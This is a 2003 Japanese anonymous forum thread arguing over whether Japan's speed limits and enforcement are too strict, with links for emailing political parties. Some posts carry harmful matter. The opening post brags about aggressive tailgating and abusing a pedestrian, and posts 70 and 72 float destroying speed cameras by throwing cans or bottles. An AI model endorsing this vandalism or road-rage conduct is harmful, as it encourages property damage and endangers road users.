今日もアリストで高速クラクション鳴らしながらハイビーム連射したら
追越車線は俺のもの。
当然アリスト海苔はみんなやってることだから避難しないでねー。
っていうかこれがアリスト海苔の特権でもあるのだが。
車の値段にこういう権利も含まれてるのだよ。
ディーラーの人もそう言ってたしね。ホント最高だね。
今日も歩道機点滅してるのにちんたら歩いてる奴いたから
窓開けて中指立てて「ファックユー!逝ってよし!」っていったら
びびってたね。現行でこれやったらみんな逃げてくわ、ホント。

62 :名無し:03/11/04 11:36 ID:???
>>59
早くならないのは解ってるのね
渋滞や車の多さは余り関係ないよ

郊外にはいかないが郊外には信号無いの?
あくまで信号付き一般道でなおかつ住宅地等ではない大通り前提だよな
立体交差も多いだろうから多少は差し引いて考えてもいいのだが
郊外でも10Km区間を移動したら
50km/hで12minだろ80km/hで7.5minだろ4.5minしか変わらない
しかも全く信号がなければな
10Km区間の信号は5-10以上あるだろうし停まったらチャラだよ
1分も変わらないかも
20km区間になればもっと停止のチャンスが生まれるから平均速度的には不利だよな
最も差が出るのは信号のない1-2km区間移動だけだ
しかし距離が距離なので時間は何分も変わらないけどな(w
空想距離や制動距離に黄色だったと言い張る信号無視が増えるだけでメリット無し

高速道路に関しても違反速度輸送は論外だし渋滞緩和や料金所、出口の細分や
接続幹線道路の施設次第で多少の速度差は回収できるくらいになる


63 :名無し:03/11/04 11:42 ID:???
>>60
は論外
そう思うのなら規制速度無視して走れば良いじゃない
今の所構造的のも出るんだし停めないよ。
悪いことだと思わないのなら多いにがんばってくれ

でも捕まるから飛ばせないんじゃないの?(w
そういう小汚い摘発が抑止力になって路地でも
駐禁でも捕まったらばかばかしいという性善説より高い
抑止力になるんだよ




64 :名無しさん@お腹いっぱい。:03/11/04 14:21 ID:???
みんなすごいまじめに意見出し合ってるのな。
いや、長くて全然読んでないが・・。


65 :名無しさん@お腹いっぱい。:03/11/04 22:37 ID:E9li9E1Q
>>62-63
>>郊外にはいかないが郊外には信号無いの?
是非行って見て下さい。
出来れば、ナビ(平均速度の表示される機種)の付いている車で、車の少ない時間帯に。
そうすれば分かると思いますよ。
>>あくまで信号付き一般道でなおかつ住宅地等ではない大通り前提だよな
都心の周りに住宅地が広がり、さらに外側にはそういった場所が広がってます。
さらに、人口の半分が住んでる「地方」では、一部の中心市街地以外は殆どそんな所ばかりです。
>>50km/hで12minだろ80km/hで7.5minだろ4.5minしか変わらない
60分かかるところが38分になります。
民間では22分という時間は結構貴重なんですが。
>>しかも全く信号がなければな
全くとは言いませんが、首都圏でも住宅地よりも外側へ行けばかなり少なくなります。
>>高速道路に関しても違反速度輸送は論外だし
具体的な話なしで「論外」と言う事は、「反論の余地無し」という事ですね。
>>渋滞緩和や料金所、出口の細分や接続幹線道路の施設次第で
その点に関しては、是非やって欲しいです。
予算の制約も有るでしょうが。
>>60は論外
まあ、反論のしようがないでしょうね。
まさか「多くの一般大衆より警察官僚の方が正しい判断が出来る」とは言えないでしょうし。
62さんが仮に関係者なら、なおさら口が裂けても言え無いでしょうね(w
>>でも捕まるから飛ばせないんじゃないの?(w
>>小汚い摘発が抑止力
飛ばしてる人いませんか?
「スピード違反なんて・・・」という意識で危険なほど飛ばしてる人が居て、事故が起きてるのでは?
過剰な規制がそういった法遵守意識を麻痺させ、却ってとんでもない速度で走るDQNを生み出してるのでは?

66 :名無しさん@お腹いっぱい。:03/11/04 22:41 ID:E9li9E1Q
私自身に関してですか?
詳細はIPがサーバーに残るので割愛しますが、安全には気を付けてますよ。
生活道路は、たとえ遠回りになってもなるべく避けて走ってます。
生活道路は、神経使って正直しんどいですしね。
まあ出発地や目的地の近くや渋滞回避の際には通りますが、生活道路は結構ゆっくり走ってます。
ねず捕りは見た事有りませんが(w

私は首都圏にも地方にも住んだ事有りますし、休日には農村を走る事も有ります。
今は車に乗ってますが、原付に乗ってた事も、海外ですが自動二輪(現地では免許無しでも合法)に乗った事も有りますし、18までは自転車でしたし、勿論道路を歩く事も有ります。
まあ大型トラックやバスを運転した事は有りませんが。
色々な立場で考えてます。

実際問題どうにもならない事は承知しています。
マスコミも「過剰な速度規制」は殆ど報道しませんね(海外では結構そういう声も放送するみたいです)。
問題にすると「違反を推奨する」とかいって、暗黙のタブーでは?とか思いますが、どうなんでしょうね?
以前飲酒運転関して「絶対にいけないと思う人が99%」という新聞報道が有りました。
でもアンケートの取り方について「面接方式」と書いていたのは、私が見た五紙のうち一紙だけでした。
これはどういう理由でしょうね?
まあ、飲酒運転自体は私も反対ですが。



我々一般市民に出来る事としては、現在の速度規制に関して各政党のHPに抗議のメールを送る事でしょうか?
請願は国民の権利ですし。
匿名でもかまいませんし、心配ならプログシやフリーメールなどの方法も有ります。

67 :名無しさん@お腹いっぱい。:03/11/04 23:06 ID:E9li9E1Q
>>64
>>長くて全然読んでないが・・。

すみません(汗)。
要約します。

*速度規制は厳し過ぎるのでは?
*しかも、40年前に日本で始めて高速道路が出来てから、技術の進歩大幅な進歩にも関わらず100キロが上限。
*7さんも言ってるように、車だけでなく道路も140キロで安定走行可能な道路(第二東名)が出て来てる時代に、100キロ規制というのはいかがなものか?
*非現実的な規制が規制に対する信頼を低下させ、危険なほどぶっ飛ばすドライバーや生活道路で飛ばすドライバーを増やしてるのでは?
*その結果、却って交通事故による死者を増やしているのでは?
*反則金収入から年間1000億近くが「交通安全対策特別交付金」として支給されてるが、これって利権になり易いのでは?(実際に利権になってる証拠は無いけど)
*「過剰な速度規制」は、マスコミも殆ど取り上げないし、むしろ「面接方式」(←公正なアンケート方法でしょうか?)で警察が行ったアンケートを、面接方式と書かずに多くの新聞が掲載した事も有る。

*まあ我々一般市民が出来るのは、政府や政党に対して平穏にメールで抗議する程度ですね。

といった感じです。
いかがでしょうか?

68 :名無しさん@お腹いっぱい。:03/11/04 23:21 ID:???
>>61
ここでは相手してくんないね
アリストくらいじゃねぇ(w

69 :名無しさん@お腹いっぱい。:03/11/05 00:26 ID:0UWueKsE
ねずみ取りで捕まった香具師はUターンして
計測器の少し手前で、走ってくる車にライトチカチカさせて警告するのはどうでしょう?
もしくは、大きな紙にマジックで、「警察ネズミ取り実施中!」とか書いて
道端に置いて帰るとか。
どうです? 1人の犠牲で100人助かると思いますが?


70 :名無しさん@お腹いっぱい。:03/11/05 00:35 ID:0UWueKsE
オービスぶっ壊すのはどうでしょう?
あれって、違反しなければ写ってないんですよね?
通過しながら毎日空き缶とか空き瓶投げつけていれば壊れるでしょ?


71 :名無しさん@お腹いっぱい。:03/11/05 00:38 ID:TSMXBjoP
>>61 66
遅レスですいません。
確かに、高速道路で追い越し車線を走ってて、後ろから追いつかれたのに退いてくれない車はマナー違反だよね。
大体車両通行帯区分違反だし。

でも、穏やかに左ウインカーを出してあげたら?
それでどいてくれないなら、気を付けながら左から抜いては?
もっとも、混んでて退けない場合は致し方ないと思われ。

皆さんも車で走る時は、後をきちんと見ましょうね。

72 :名無しさん@お腹いっぱい。:03/11/05 00:51 ID:TSMXBjoP
>>69
>>Uターンして計測器の少し手前で、走ってくる車にライトチカチカさせて警告
それいいですね。
そういえば、昔は対向車線のねずみ捕り見つけたら、みんな対向車にパッシングで知らせてたよね。
あれって復活させませんか?
皆さんねずみ捕りを見つけたら、対向車にパッシングで知らせましょう。

>>70
レンズに当れば壊れるでしょうね〜。
バレるとマズイですが。
さすがに「皆さんやりましょう」とは言えませんが(w)、アメリカでは銃で次々に壊されて事実上廃止に追い込まれたとか聞いた事が有ります。

73 :71:03/11/05 05:55 ID:J2OWmtvx


でも、穏やかに左ウインカーを出してあげたら?


74 :名無しさん@お腹いっぱい。:03/11/05 05:59 ID:J2OWmtvx
>>71
訂正です。
誤「でも、穏やかに左ウインカーを出してあげたら?」
正「でも、穏やかに右ウインカーを出してあげたら?」

>>73
誤入力です。

失礼しました。


75 :名無し:03/11/05 09:04 ID:???
>>65
喪前が能書きたれてる郊外の深夜の道路が1番人が
死んでるんじゃないのか?

高速道大型車もんだいもそうだが
10-20tもの車体を停めるという物理的なエネルギーをどう考えてるのか?
喪前の軽と同じに考えてるなら5km/hくらいのトラックで良いから
1度自力で停めてみな
大型と普通車が同じ速度域で走るのは物理的に無理があるし
現に大きな事故が後を絶たないからの措置とわきまえてね
プロドライバー率が100%に近いのに
女子高生からリュウマチの爺さんまで混在する普通車よりも致死率が
高いのでは無いか?と政治(市民)に思わせたツケだから

誰が悪いは別にして大型との接触致死率は非常に高いから
慣性エネルギーを控えてもらうしかないんだよ
高速海運や列車輸送の充実でクモスケがスピード落とした
2-3割の国内輸送なんてカバーできるよ

車っていうのはクラスで1番ドジでマヌケで運動音痴のタコが
GTRのアクセルを空き缶潰すより軽い力で押していることとか
脳味噌のかけらもないような50代の自分本位ババァまで同条件で
道を走ってることをお忘れなく

もれは能無しの他人に飛ばされて身の安全を確保できないのはいやなんだ
喪前も何度かツッコまれれば速度をもっと普通で走っていてくれればとか
信号は黄色で進んでも良いからせめて赤では停まってくれと祈るはずだ
赤無視の100%が黄色だったと言い張るからな
何百m手前で見たかしらんが(w



76 : :03/11/05 10:09 ID:UkKlm1wD
けっこう広い河川敷の空いた道路で制限速度30キロのところ27キロオーバーで捕まった。
普段も50〜60キロくらいで流れているところなのに・・・
まったく危険な速度ではなかったのに・・・
あれはどう考えても速度設定がおかしい。
規則規則って言ってる奴は制限速度+10くらいきっちり守って運転してんのか?
もし守ってるって言うなら車の流れを乱し渋滞の先頭になる迷惑ドライバーだ。
今の速度規制での安全危険問わない理不尽な取締りには絶対に納得できない。
50CCバイクの30キロ規制も実情をかけ離れた、かえって事故を招く理不尽な速度設定だ!
このような交通安全の趣旨とはかけ離れたおかしな速度規制には断固反対する!


77 :名無し:03/11/05 10:31 ID:???
>>76
尾崎豊以外の中学生でも小学生でもバイクに乗って飛ばしていいのか?
危ないだろ
原付免許ってのは自転車に簡単な補助能力の付いた物で速度も出ないし
本来は免許なんかイラネーけどちょっと危ないから法規だけ熟知してねって車両だよ
近年車体性能が向上したのは知ったこっちゃない
資格条件も試験も昔とそんな変わっちゃいないんだから

フェラーリだってGTRだって法の何倍も出たって自粛してるだろ
一応な(w

河川敷も東名も環八もね。空いてるときは空いてるし安全に飛ばせるよ
規制速度を時限的に適応する場合もあるが
普通は24時間を前提にしてるんだから
お散歩や河川敷付近の農業従事者や近隣の人々がうろうろする可能性を考えての
規制速度だろ

危険か危険で無いかはドライバーじゃなく歩行者やチャリが決めるんだよ
モマエの子供をその河川敷で犬の散歩させて放し飼いしてみろ。
車なんだからこんな所通らないでバイパスでも何でも迂回しろと言いたくなるだろ
よしんば通るならゆっくりちょろちょろ通れと

っていうのが行政と市民の考えなんじゃネーノ(w


78 :名無しさん@お腹いっぱい。:03/11/05 20:44 ID:saGmmihl
>>75
>>喪前が能書きたれてる郊外の深夜の道路が1番人が
>>死んでるんじゃないのか?
そうですね。
深夜の道路は100km以上で暴走する車が少なく無いですからね。
何故なんでしょうか?

規制が過剰だから、市民の間でスピード規制に対する抵抗感が薄れ、結果として危険ほど高速度で走る車が増えてるのではないですか?
多くの市民は妥当な内容なら法律は守りますよ。
大抵の人は、バレなくても人の物は盗まないでしょ?
何故スピード規制だけこんなにみんなが違反するの?

過剰な規制が却って規則の説得力を低下させて、危険な速度で暴走する車を増やして、沢山の人を死なせてるんじゃないかな?
適正な規制なら、少なくとも大部分の人は守るでしょ?
それとも「大衆は馬鹿だから、賢い警察官僚が導いてやらないといけない」とでも言うのかな?(w

>>女子高生から・・・混在する普通車
無免許運転を指してるのかな?
これも、交通規制が適性で説得力が有れば、周りの大人ももっと気をつけてあげるのでは?
周りもどこかで「たかが交通違反」という意識が有るから、当人達もやり易いのでは?

>>大型との接触致死率は非常に高いから
それはそうだよね。
大型の居眠りや飲酒による大事故が社会問題になったしね。

で、その答えが速度抑制機?
アルコールの含まれてない息を吹き込まないとエンジンがかからない装置は、いつでも量産出来る状態じゃなかった?
追突軽減システムは既に実用化されてるよね。
そういう本当に効果の有る対策はやってるの?
交通安全といったら、速度を落とすしか考え付かないのかな?って感じるよ。
それで安全性が確保されればまだしも、90kmの居眠りに追突されたら私のヤワな車(国産中型乗用車)だと多分助からないんですけど・・・。

79 :名無しさん@お腹いっぱい。:03/11/05 20:46 ID:saGmmihl
続きです

>>高速海運や列車輸送の充実でクモスケがスピード落とした
>>2-3割の国内輸送なんてカバーできるよ
一生懸命トラック運転して大事な家族養ってる人も、突然失業して悲嘆に暮れてる人も、収入の道を絶たれて一家離散した人も、挙句の果ては生活苦で自殺した人も、あなたにとってはどうでもいい「クモスケ」なのかな?
まあ、自殺者は「管内の事故死者数」には入らないからね(w
でもね、あなたがもし関係者なら、そういった「クモスケ」が汗水たらして払った税金で高い給料貰ってるという事は忘れないでね。

>>喪前も何度かツッコまれれば速度をもっと普通で走っていてくれればとか
突っ込まれた事は有りますよ。
自動車乗車中だけど。
その「普通の速度」だけど、官僚の感覚と市民の感覚が大きくズレてるんじゃないかな?
前例主義で考えれば、40年前に危険だった速度は今でも危険という事になるのかな?
まあ、官僚が私用で車に乗るときに速度規制を守ってるかどうか知らないけどね(w

>>信号は黄色で進んでも良いからせめて赤では停まってくれと祈るはずだ
信号は守るべきだよ。
でもね、市民の感覚とかけ離れた速度規制が有るから、一番大事な信号さえも説得力が無くなるんじゃないかな?
何故こんなに交通規制が説得力を失ったか?考えてみた事ある?

80 :名無しさん@お腹いっぱい。:03/11/05 21:33 ID:saGmmihl
>>77
>>尾崎豊以外の中学生でも小学生でもバイクに乗って飛ばしていいのか?
私も76さんも、小学生や中学生がバイクに乗っていいなんて、全然言って無いんですけど・・・(苦笑)。

>>近年車体性能が向上したのは知ったこっちゃない
>>資格条件も試験も昔とそんな変わっちゃいないんだから
車とぶつかったら大抵死ぬのは原付ですよ。
免許の要件が緩くても、普通の人は事故らないように運転すると思うけどね。

それとも、一部の暴走族が死なないために、善良な市民まで30km規制?
仮にそうでも、暴走族が死ぬのは30km超えたからじゃ無いでしょう?

77さんは、原付で生活した事がありますか?

>>河川敷も東名も環八もね。空いてるときは空いてるし安全に飛ばせるよ
>>規制速度を時限的に適応する場合もあるが
>>普通は24時間を前提にしてるんだから

「空いてるときは安全に飛ばせる」って事は認識してる訳ですね。
ちなみに「混んでる時」は、速度規制が緩くてもどっちみち飛ばせないんですけど(w
それに、空いてて飛ばし易い所ほど取り締まりが熱心だと思うのは、私だけでしょうか?

>>車なんだからこんな所通らないでバイパスでも何でも迂回しろと言いたくなるだろ

バイパスの速度規制を緩めて通り易くすれば、迂回する車が増えると思われます。

81 :名無しさん@お腹いっぱい。:03/11/05 21:37 ID:saGmmihl
>>76
>>どう考えても速度設定がおかしい。
全く同感です。
今のような状況では「年間1000億近い反則金収入が利権になってるのでは?」と疑われてもしょうがない状況ですよね。
まあ、実際に利権になってる証拠は無いですが。

>>規則規則って言ってる奴は制限速度+10くらいきっちり守って運転してんのか?
権限を持ってる高級官僚は黒塗りの大型車の後部座席に乗ってて、自分で運転する機会があまり無いのではないでしょうか?
まあ休日にゴルフへ行く時くらいは、たまに自分で運転するかもしれないけど。

高級官僚の公用車を廃止すれば、少しは現実的な交通規制になるかもしれないですね。

>>今の速度規制での安全危険問わない理不尽な取締りには絶対に納得できない。
このままじゃ変わらないですよね。
そこで提案ですが、速度規制が過剰だと、各政党にメールで訴えませんか?
「官」は選挙が無いから市民の声なんてあまり聞かないと思うんです。
でも、「政」は選挙がある分、少しは見込みが有るんじゃないかと思います。
ただ、官邸にメール送っても膨大なメールを全部首相が見るとは考えにくいし、官邸の官僚が見ただけでは効果を期待しにくいですよね。

>>このような交通安全の趣旨とはかけ離れたおかしな速度規制には断固反対する!
「過剰な速度規制反対!」って政党にメールして、周囲で同じ考え方をしてる人にも呼びかけてみませんか?

あとで、各政党のURLを貼り付けます。

82 :79-81:03/11/05 22:55 ID:saGmmihl
上記の政党URLです。
過剰なスピード規制に不満を持っている方、是非不満を訴えましょう。
他にも、警察を始めとして官僚のやりかたに不満を持っている方もどうぞ。
「官」は選挙が無いので我々市民の声が届きにくいと思いますが、選挙で選ばれる「政」なら少しは見込みが有るのではないでしょうか?

自民党 http://www.jimin.jp/ 
左側上から3段目の「募集・申込」をクリックすると細かい項目が出て来るので、一番下の「自民党に物申す」をクリックして下さい。

民主党 http://www.dpj.or.jp/ 
一番上の真中に「メール」欄が有るので、クリックして下さい。

社民党 http://www5.sdp.or.jp/central/12mail.html 
送信先のメールアドレスが出て来ます。

保守新党 http://www.hoshushintoh.com/SITE1PUB/servlet/enquete.EnqueteForm/6 
そのまま送信フォームへ行きます。

共産党 http://www.jcp.or.jp/ 
一番上の真中に「メール」欄が有るので、クリックして下さい。

公明党 http://www.komei.or.jp/ 
ココはメールで問い合わせて電話で話すシステムのようです。
もしメールで投稿出来る方法をご存知の方がいましたら、レス願います。

83 :名無しさん@お腹いっぱい。:03/11/06 00:55 ID:uNXGgrXD
http://society.2ch.net/test/read.cgi/traf/1059043618/l50

84 :名無し:03/11/06 08:52 ID:???
>>78
女子高生ドライバーも多いのだが?
モマエの街の高校は17歳で卒業か?
モマエの街の自動車免許は19歳からか?
>>79
現在の日本で飛脚や人力車は多く存在してる?みんな自殺?
時代が職業を淘汰するのは当たりまえ
橋を作ると渡しが自殺なんて発想は貧しいな
100%の転換でなくクモスケを過労や過積載過剰速度運行から守ると
思えば長い歴史で陸運の方法も転換していくべきなんだよ
>>80
過去に原付生活も現在も所有はしていますが何か?
乗り物はいっぱいあるので近所の買い物しか乗りませんがね
乗らない自由もありますから20km/hで不満なら自転車から原付に
30km/hで不満なら技能資格試験を取って原付2種にすればいいのです
誰も自由を規制してませんよ


85 :名無し:03/11/06 09:48 ID:???
>>80
言い忘れたが原付の30km/h規制は暴走族となんの関係もないよ
前に言ったように元々免許は自動車と後に自動2輪しかなかったが
自転車に補助を付けて簡単に技能試験もなく市民の足に運用しましょう
という主旨で創設されたから簡単な試験と30km/h規制と車体も簡単な構造で
認可される
現在で言うアシストサイクル的な考えと言うことをお忘れなく

機械的な性能向上とソレを悪用しての速度違反は別問題
現行法の自動車は2000psでも3000psでも構造基準まもれば作っても乗っても良いし
それを悪用してみんな高速道を350km/hで走ってるから規制を250km/h
にしようよというのと同じ次元の話
原付は原付なんだから調子乗りたかったら原付2種でどうぞ

86 :名無しさん@お腹いっぱい。:03/11/06 11:39 ID:???
高速道路での取り締まりとか、あまりにも建前とやってることが離れ過ぎてて腹が立つ。
「スピードの出しすぎは危険だから取り締まる」っていうのなら、5キロでも10キロでも、
少しでもオーバーしてるのを確認したら、すぐに止まらせて注意すればいいだろうに。
スピードオーバーして危険な状況で走っている車にすぐに注意せず、ぴったり後ろに張り付いて、
高い点数でキップ切れるぐらいまでスピード出したところで、はじめてサイレン鳴らして捕まえて……
本気で「事故を減らす」ためにやってるのなら、何ですぐに注意しないんだ

87 :名無しさん@お腹いっぱい。:03/11/06 13:58 ID:???
みんな長文カキコご苦労様。

88 :名無しさん@お腹いっぱい。:03/11/06 20:46 ID:ZOAUkg1/
>>84-85
>>現在の日本で飛脚や人力車は多く存在してる?みんな自殺?
輸送効率と安全の両立は技術的に十分可能になっているのに、ただ「安全->速度を落とす」しか考えてない道路行政の犠牲になりつつあると思うのですが?
技術の進歩で明らかに不用となった飛脚や人力車と比べるのは無理が有るのでは?

>>クモスケを過労や過積載過剰速度運行から守ると
>>思えば長い歴史で陸運の方法も転換していくべきなんだよ
その言葉を、失業した「クモスケ」の方に言ってみたらどうですか?
もっともあなたが関係者なら、後々の事を考えて「おっしゃる通りです」と言うかもしれないが。

あなたが関係者という前提ですが、取り締まりのノルマが足りなくても、その辺でちょっと取り締まりしてれば非現実的な速度規制のおかげで幾らでも件数を獲れますよね?
そんな仕事をしていると、トラックが市場に2時間遅れて着くのがどういう事か?営業マンが訪問先を1件少なくしか回れないのがどんな事か?理解出来なくなるんでしょうか?

「過積載」については、どんどん取り締ってもらっていいと思いますよ。
同じ道路を、制動距離の著しく長い車が混じって走るのは、実際にかなり危険ですしね。
ただ「過剰速度運行」については、一般市民の感覚と、半世紀近く変わってない取り締まり側の感覚に相当ズレが有るのでは?

>>過去に原付生活も現在も所有はしていますが何か?
原付で通勤や通学をしていたなら、幹線道路を30kmで走るのは結構怖くなかったですか?
というか、当時制限速度を守ってましたか?(w

>>乗り物はいっぱいあるので近所の買い物しか乗りませんがね
それなら現在では、幹線道路は走らないか走っても僅かな距離でしょうから、30kmでも問題無いでしょうね。

>>技能資格試験を取って原付2種
「原付2種」という資格が最近出来たんですか?或いは自動二輪の事?
以下、一応後者という前提で話します。
もっとも前者でも、「原付2種」を取るのに時間と費用がかかるなら同じだけど。

89 :名無しさん@お腹いっぱい。:03/11/06 20:59 ID:ZOAUkg1/
>>自転車に補助を付けて
>>現在で言うアシストサイクル的な考え
それは、当初の原付はそうだったでしょうね。
市民生活の現実に合わなくなった制度でも、いつまでも変えないという事ですか?

確かに「金払って教習所通って、自動二輪を買え」という考え方も有るでしょうね。
でもね、世の中にはそんな余裕が無い人も一杯いるんです。
4輪の免許以外にもう一つ免許取るほど暇じゃ無い人も沢山居るんです。

私自身に関しては、今後の人生で原付生活は無いでしょう。
あなたも近所の買い物に使うだけという事は、車庫から4輪を出すのが面倒な時に近距離で乗る程度?
だからといって、「貧乏人は、30kmで走って4輪に轢かれてもしょうがない」という訳?
所詮他人事?
私はそこまで割り切れ無いな。
昔は自分も車買う余裕無かったしね。

第一、原付の速度を30kmに規制する事にどんな意味が有るの?
簡単な試験でスピードを出すのは危険?
30kmで走ってる方がよっぽど危険だと思いませんか?

それとも「30km走行で4輪に轢かれるのが嫌なら、公安委員会認定の教習所にお金を払って自動2輪を取りましょう」って事かな?(w
教習所の幹部って、何割位が警察関係の天下りなんですか?

>>現在で言うアシストサイクル的な考えと言うことをお忘れなく
制度自体が現状に合わなくなってるのが分からないかな?
高速道路の法定速度は40年近く前の基準のままだし、一般道はもっと前からかな?
原付は自転車に毛が生えた程度の代物だった時代の制度だし、自転車は原則として車道を走れなんて交通安全に役立ってると思う?
何故変えたくないのかな?
利権?そうでないなら前例主義?
仮に交通安全の為と考えると、説明が付かない点が多すぎる気がするけど。

90 :名無しさん@お腹いっぱい。:03/11/06 21:27 ID:ZOAUkg1/
>>86
>>ぴったり後ろに張り付いて
あくまで噂だけど、後の車に煽られて速度上げたら、その「後の車」が覆面だったなんて話も結構聞きますよね。

>>「事故を減らす」ためにやってるのなら、何ですぐに注意しないんだ
「事故を減らす為の取り締まり」と考えると、説明が付かない事が多すぎますよね。
仮に、当初「軽微だから見逃しておこう」と考えたのであっても、その時点でパトランプで警告するべきでしょう。
それをせずに速度が上がるのを待っているようなやり方では、「ノルマ達成の為?」と考えるのが自然な解釈ですよね。

>>87
>>ありがとうございます。

>>86、87、その他全ての方
こんな事を続けさせない為にも、我々有権者が直接力を行使出来る唯一の存在とも言える「政党」へ、メールで現状の過剰な速度規制について抗議しませんか?(81-82参照-URL掲載)
そして、同じ不満を持っている友人や知り合いにも、呼びかけませんか?
マスコミも公正な報道はなかなかしないようですし(66と67の最後のほう参照)、我々が意思表示しないと「官」はいつまでも変わらないような気がします。


91 :名無しさん@お腹いっぱい。:03/11/07 19:29 ID:rlzk9Y7c
>>90

候補者のホームページにも投書するというのはどうでしょう。

92 :名無しさん@お腹いっぱい。:03/11/08 04:46 ID:QxWmkOzM
ノルマのための取締りやってる暇があったら凶悪犯罪をちゃんと取り締まれ!


93 :名無しさん@お腹いっぱい。:03/11/09 22:11 ID:6k2zejkZ
マジな話、同じ250ccのバイクでも、OFF車(単気筒)とON車(4気筒)では、高速道路での100Km/hの怖さがぜんぜん違う。
OFF車の110Km/hとON車の170Km/hと同じぐらい。
制限速度は、意味など無い。安全速度は、ライダーやドライバーが感じるもの。


94 :名無しさん@お腹いっぱい。:03/11/09 22:46 ID:???
>88
>「過積載」については、どんどん取り締ってもらっていいと思いますよ。
>同じ道路を、制動距離の著しく長い車が混じって走るのは、実際にかなり危険ですしね。
>ただ「過剰速度運行」については、一般市民の感覚と、半世紀近く変わってない取り締まり側の感覚に相当ズレが有るのでは?

おもしろいこと言うね。
「過積載」は「制動距離が長くなる」からだめだと言いながら、
「速度超過」は「制動距離が長くなる」のに許されると言っているのですね。
あなたが言う一般市民の感覚というものが間違っていませんか?

95 :名無しさん@お腹いっぱい。:03/11/09 22:55 ID:???
>《疑問》日本の速度規制って厳し過ぎない?

はっきり言って、日本の速度規制は厳しいと思いますよ。
法定速度がありながら法定速度で走ることができる道は高速道路以外では滅多にない。

ただし、日本の国民性から考えると速度規制を緩めると事故が起こったときに規制が不適切だということになると思われる。

日本人は多数に従ううえに、自分で責任をとろうとせずにすぐに他人のせいにするからね。

96 :名無しさん@お腹いっぱい。:03/11/09 23:20 ID:6k2zejkZ
>>95
 法定速度や制限速度って公安がドライバー教育に自信を持っていませんって言っている様な物。
 高速道路の制限速度は時速300キロ。一般国道バイパス箇所の制限速度は200キロってどうだ。
 どうせ事故を起こすと、民事責任はあるのだし、ドライバーが教育されていれば、路面状態や車の性能などを考慮して安全速度で走るだろ。


97 :名無しさん@お腹いっぱい。:03/11/10 10:20 ID:???
>96
ドライバー教育っていっても、免許取りたてのガキやら、70・80の高齢者に路面状態や車の性能を見極めろと言っても無理な話だと思うがな。
そういったドライバーにあわせた制限速度をつけるということなんだろ。


98 :名無しさん@お腹いっぱい。:03/11/10 12:05 ID:???
昔に比べれば、タイヤ・ブレーキ・衝突時のボディーの安全性など、全て
において格段に向上しているのに、制限速度が何十年も前と変わらないのは、
国土交通省(旧・運輸省)の怠慢だと思う。
制限速度を上げて、もし事故が増えることにでもなったら、責任を取らなければ
ならなくなるからだ。
官僚の考え方はこうだ。
「もし余計な事をしてミスするような事があれば、責任を取らされる。
昇進にも影響する。現状で問題がないのなら、特に変える必要はない。
毎日を無難に、言われた事だけ確実にこなせば何の問題もない。そして、
自分が担当している間は何事も問題が起こらなければよいのだが・・・」

99 :名無しさん@お腹いっぱい。:03/11/10 12:27 ID:???
>98
もっと現実的に考えてみて。
昔に比べて性能や安全性が各段に向上しているのは事実だが、それで交通事故は減ったの?
交通事故における死亡事故の割合は減少したの?


100 :名無しさん@お腹いっぱい。:03/11/10 14:56 ID:???
>>99は国土交通省の職員と思われ。誤字してるし・・・。



101 :名無しさん@お腹いっぱい。:03/11/10 19:37 ID:Iv5B9LgW
>>94
>>「過積載」は「制動距離が長くなる」からだめだと言いながら、
>>「速度超過」は「制動距離が長くなる」のに許されると言っているのですね
私が88で言ったのは、「同じ道路を、制動距離の著しく長い車(過積載車)が混じって走るのは危険」という事です。
ABCD4車が並んで同じ速度で走っている時に、C車だけが過積載で制動距離が3-4倍だった場合、A車が急ブレーキを掛けるとC車がB車に追突するであろう事は容易に想像出来ると思います。
流れの中で特定の車だけが著しく制動距離が長いのは危険という事です。
単に制動距離が長いのは危険という話ではありません

>>あなたが言う一般市民の感覚というものが間違っていませんか?
速度が高まれば利便性は向上しますが、確かに事故の際のダメージは増えるでしょうね。
20kmで走れば死亡事故は皆無に近くなるでしょうが、利便性が低下し過ぎる。
一般道を200kmで走れれば便利だけど事故による死者は増加し過ぎる。
どこかで間を取るしかないのでしょうが、民主主義社会である以上は、どこで間を取るかを決めるのは市民であるべきだと思いませんか?
多くの市民の考えに反するような規制がまかり通るのは、どう考えても異常ですよ。
それに、市民の感覚から大きく離れた規制は、却って信号無視や生活道路での暴走などの「実際に危険な違反」を増やす事になりませんか?

102 :名無しさん@お腹いっぱい。:03/11/10 20:30 ID:Pu/eN408
>>93
>>96
確かに「安全な速度」って道路状況によって変わりますよね。
だから、最高速度はあくまで上限であるべきなのに、現状では「この速度で走ってれば、どんな条件でも安全な速度」になってると思います。
つまり、「免許取ったばかりの人が、夜間雨の中減速せずにカーブを曲がる」事を想定した速度になってる気がします。
それっておかしいですよね。
教習所などでも「最高速度はあくまで上限、上限内で道路状況によって適切な速度で走りましょう」と言ってるのに、矛盾してます。
最高速度は、好条件の時を前提に設定するべき。
そして、その中でドライバーが適切な速度を考えて走れば良いと思います。


103 :名無しさん@お腹いっぱい。:03/11/10 20:36 ID:Pu/eN408
>>95
>>日本の国民性から考えると速度規制を緩めると事故が起こったときに規制が不適切だということになると思われる。

それはありますよね。
自己の判断ミスを棚に上げて、「規制速度を守ってたのに事故に遭った!どーしてくれる!」なんて言う人も居るかもしれません。
規制速度を緩める場合、「規制速度はあくまで上限」という事をきちんと周知徹底する必要が有ると思います。

104 :名無しさん@お腹いっぱい。:03/11/10 20:39 ID:Pu/eN408
>>99
交通事故による死者数は、ここ数年で2割ほど減りました。

105 :名無しさん@お腹いっぱい。:03/11/10 20:49 ID:Pu/eN408
>>97
>>免許取りたてのガキやら、70・80の高齢者・・(中略)・・にあわせた制限速度をつけるということなんだろ。

まさにその通りだと思います。
恐らく、一番条件の悪いドライバーに合わせてるんですよね。
でも、それなら初心者や高齢者は自分の運転技量の合った速度で走ればいいですよね。
規制速度はあくまで上限ですから。
そういった判断が出来るようになるのが16-18才という事では?
初心者や高齢者を基準にした速度規制なら、運転歴1年以上の20-60才ドライバーが、それを超過したからといって処罰するのはおかしいと思います。


106 :名無しさん@お腹いっぱい。:03/11/10 20:59 ID:Pu/eN408
>>98
>>官僚の考え方はこうだ。
>>「もし余計な事をしてミスするような事があれば、責任を取らされる」

それって、速度規制が変わらない大きな理由だと思います。
官僚が無難に前例に従い続けた結果が、技術の進歩を無視した何十年も前と変わらない速度規制に繋がってると思います。
だからこそ、今こそ声を挙げましょう!(81-82参照)
官僚の怠慢を許してはなりません。
前例に従っているだけの、実体とかけ離れた規制に対して、市民が黙ってないという事を示そうではありませんか。


107 :82:03/11/11 21:32 ID:ILa1a+Sc
お詫びと訂正。
82で書き込んだURLをクリックすると、一旦広告が並んでるページへジャンプするようです。
